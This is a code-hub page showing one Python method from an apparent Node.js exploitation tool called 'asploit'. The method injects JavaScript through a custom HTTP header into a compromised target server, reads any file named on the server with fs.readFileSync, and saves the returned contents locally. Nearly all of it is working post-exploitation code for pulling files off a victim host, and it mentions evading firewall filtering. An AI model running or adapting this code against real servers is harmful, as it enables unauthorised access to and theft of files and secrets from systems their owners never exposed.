MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__download

Method _Base__download

src/NodeExploitProcessor.py:178–223  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

176 @brief See base class for details.
177 """
178 def _Base__download(self, options: str): # relies on fs import
179 if len(options) == 0:
180 raise CommandException("Specify a file to download.")
181
182 url = f"{self.host}{self.path}"
183 if not self.host.startswith("http"):
184 url = "http://" + url
185 try:
186 message = (f"process.chdir('{self.directory}');"
187 f"let out='File does not exist';"
188 f"if(fs.existsSync('{options}')){{"
189 f"try{{"
190 f"let data=fs.readFileSync('{options}','binary');"
191 f"out='Done.';"
192 f"r.setHeader('{self.header}',out);"
193 f"r.write(data, 'binary');"
194 f"}}catch(e){{"
195 f"out='Error downloading file.';"
196 f"r.setHeader('{self.header}',out);"
197 f"}}"
198 f"}}else{{"
199 f"r.setHeader('{self.header}',out);"
200 f"}}"
201 f"r.end();")
202 print("Downloading file...")
203 response = requests.request(
204 self.method,
205 url,
206 headers={ f"{self.header}": message }
207 )
208 data = response.content
209 if not response.ok:
210 raise Exception()
211 if not self.header in response.headers:
212 raise CommandException(
213 f"No message sent back from server, your exploit is "
214 f"probably being filtered by a firewall.")
215 if response.headers.get(self.header) == 'Done.':
216 path = Path('downloads/' + Path(options).name)
217 path.parent.mkdir(parents=True, exist_ok=True)
218 with open(path, "wb") as bin_file:
219 bin_file.write(data)
220
221 print(response.headers[self.header])
222 except:
223 raise CommandException(f"Message was not successfully processed.")
224
225 """
226 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

CommandExceptionClass · 0.85

Tested by

no test coverage detected